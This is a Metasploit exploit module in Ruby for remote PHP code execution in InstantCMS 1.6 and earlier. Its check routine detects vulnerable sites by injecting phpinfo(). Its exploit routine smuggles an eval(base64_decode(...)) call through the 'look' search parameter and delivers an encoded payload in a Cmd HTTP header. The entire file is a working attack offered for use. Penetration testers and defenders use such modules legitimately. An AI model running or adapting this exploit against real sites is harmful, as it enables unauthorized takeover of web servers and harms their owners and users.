81 lines
2.1 KiB
Ruby
81 lines
2.1 KiB
Ruby
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary PHP command execution vulnerability because of a
|
|
dangerous use of eval() in InstantCMS in versions 1.6 and prior.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'AkaStep', # Vulnerability discovery and PoC
|
|
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'BID', '60816' ],
|
|
[ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
[ 'InstantCMS 1.6', { } ],
|
|
],
|
|
'DisclosureDate' => 'Jun 26 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s),
|
|
'vars_get' =>
|
|
{
|
|
'view' => 'search',
|
|
'query' => '${echo phpinfo()}'
|
|
}
|
|
})
|
|
|
|
if res and res.body.match(/Build Date/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
|
|
print_status("Executing payload...")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.to_s),
|
|
'vars_get' =>
|
|
{
|
|
'view' => 'search',
|
|
'query' => rand_text_alpha(3 + rand(3)),
|
|
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
|
|
},
|
|
'headers' => {
|
|
'Cmd' => Rex::Text.encode_base64(payload.encoded)
|
|
}
|
|
})
|
|
|
|
end
|
|
end
|